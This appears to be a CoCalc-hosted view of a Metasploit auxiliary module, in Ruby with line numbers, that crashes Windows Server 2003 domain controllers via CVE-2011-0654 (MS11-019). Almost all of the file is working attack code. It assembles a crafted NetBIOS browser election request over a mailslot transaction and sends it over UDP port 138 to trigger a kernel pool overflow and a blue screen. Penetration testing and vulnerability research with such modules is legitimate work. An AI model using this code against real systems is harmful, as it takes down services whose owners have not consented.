Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
# include Msf::Exploit::Remote::SMB::Client
9
include Auxiliary::Dos
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Microsoft Windows Browser Pool DoS',
16
'Description' => %q{
17
This module exploits a denial of service flaw in the Microsoft
18
Windows SMB service on versions of Windows Server 2003 that have been
19
configured as a domain controller. By sending a specially crafted election
20
request, an attacker can cause a pool overflow.
21
22
The vulnerability appears to be due to an error handling a length value
23
while calculating the amount of memory to copy to a buffer. When there are
24
zero bytes left in the buffer, the length value is improperly decremented
25
and an integer underflow occurs. The resulting value is used in several
26
calculations and is then passed as the length value to an inline memcpy
27
operation.
28
29
Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and
30
causes considerable damage to kernel heap memory. While theoretically possible,
31
it does not appear to be trivial to turn this vulnerability into remote (or
32
even local) code execution.
33
},
34
'References' => [
35
[ 'CVE', '2011-0654' ],
36
[ 'BID', '46360' ],
37
[ 'OSVDB', '70881' ],
38
[ 'MSB', 'MS11-019' ],
39
[ 'EDB', '16166' ],
40
[ 'URL', 'https://seclists.org/fulldisclosure/2011/Feb/285' ]
41
],
42
'Author' => [ 'Cupidon-3005', 'jduck' ],
43
'License' => MSF_LICENSE,
44
'Notes' => {
45
'Stability' => [CRASH_SERVICE_DOWN],
46
'SideEffects' => [],
47
'Reliability' => []
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RPORT(138),
55
OptString.new('DOMAIN', [ true, 'The name of the domain that the target controls' ])
56
]
57
)
58
end
59
60
def run
61
connect_udp
62
@client = Rex::Proto::SMB::Client.new(udp_sock)
63
64
ip = Rex::Socket.source_address(datastore['RHOST'])
65
ip_src = Rex::Socket.resolv_nbo(ip, false)
66
67
svc_src = "\x41\x41\x00" # pre-encoded?
68
name_src = Rex::Text.rand_text_alphanumeric(15) # 4+rand(10))
69
70
svc_dst = "\x42\x4f\x00" # pre-encoded?
71
name_dst = datastore['DOMAIN']
72
73
pipe = '\\MAILSLOT\\BROWSER'
74
75
election =
76
"\x08" + # Election Request
77
"\x09" + # Election Version
78
"\xa8" + # election desire - Domain Master & WINS & NT
79
"\x0f" + # Browser Protocol Major Version
80
"\x01" + # Browser Protocol Minor Version
81
"\x20" + # Election OS (NT Server)
82
"\x1b\xe9\xa5\x00" + # Uptime
83
"\x00\x00\x00\x00" + # NULL... Padding?
84
# ("A" * 4) + "\x00"
85
Rex::Text.rand_text_alphanumeric(410) + "\x00"
86
87
nbdghdr =
88
"\x11" + # DIRECT_GROUP datagram
89
"\x02" + # first and only fragment
90
[rand(0xffff)].pack('n') + # Transaction Id (DGM_ID)
91
ip_src +
92
"\x00\x8a" + # Source Port (138)
93
"\x00\xa7" + # DGM_LENGTH, patched in after
94
"\x00\x00" # PACKET_OFFSET
95
96
nbdgs = nbdghdr +
97
half_ascii(name_src, svc_src) +
98
half_ascii(name_dst, svc_dst)
99
100
# A Trans request for the mailslot
101
nbdgs << trans_mailslot(pipe, '', election)
102
103
# Patch up the length (less the nb header)
104
nbdgs[0x0a, 2] = [nbdgs.length - nbdghdr.length].pack('n')
105
106
print_status('Sending specially crafted browser election request..')
107
# print_status("\n" + Rex::Text.to_hex_dump(nbdgs))
108
udp_sock.put(nbdgs)
109
110
print_status('The target should encounter a blue screen error now.')
111
112
disconnect_udp
113
end
114
115
# Perform a browser election request using the specified subcommand, parameters, and data
116
def trans_mailslot(pipe, param = '', body = '')
117
# Null-terminate the pipe parameter if needed
118
if (pipe[-1, 1] != "\x00")
119
pipe << "\x00"
120
end
121
122
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
123
@client.smb_defaults(pkt['Payload']['SMB'])
124
125
setup_count = 3
126
setup_data = [1, 0, 2].pack('v*')
127
128
data = pipe + param + body
129
130
base_offset = pkt.to_s.length + (setup_count * 2) - 4
131
param_offset = base_offset + pipe.length
132
data_offset = param_offset + param.length
133
134
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
135
pkt['Payload']['SMB'].v['Flags1'] = 0x0
136
pkt['Payload']['SMB'].v['Flags2'] = 0x0
137
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
138
139
pkt['Payload'].v['ParamCountTotal'] = param.length
140
pkt['Payload'].v['DataCountTotal'] = data.length
141
pkt['Payload'].v['ParamCountMax'] = 0
142
pkt['Payload'].v['DataCountMax'] = 0
143
144
pkt['Payload'].v['ParamCount'] = param.length
145
pkt['Payload'].v['ParamOffset'] = param_offset if !param.empty?
146
pkt['Payload'].v['DataCount'] = body.length
147
pkt['Payload'].v['DataOffset'] = data_offset
148
pkt['Payload'].v['SetupCount'] = setup_count
149
pkt['Payload'].v['SetupData'] = setup_data
150
151
pkt['Payload'].v['Payload'] = data
152
153
exploit = pkt.to_s
154
155
# Strip off the netbios header (thx, but no thx!)
156
exploit[4, exploit.length - 4]
157
end
158
159
def half_ascii(name, svc)
160
ret = ' '
161
name.unpack('C*').each do |byte|
162
ret << [0x41 + (byte >> 4)].pack('C')
163
ret << [0x41 + (byte & 0xf)].pack('C')
164
end
165
left = 15 - name.length
166
if left > 0
167
ret << "\x43\x41" * left
168
end
169
170
# In our case, svc is already encoded..
171
ret << svc
172
ret
173
end
174
end
175
176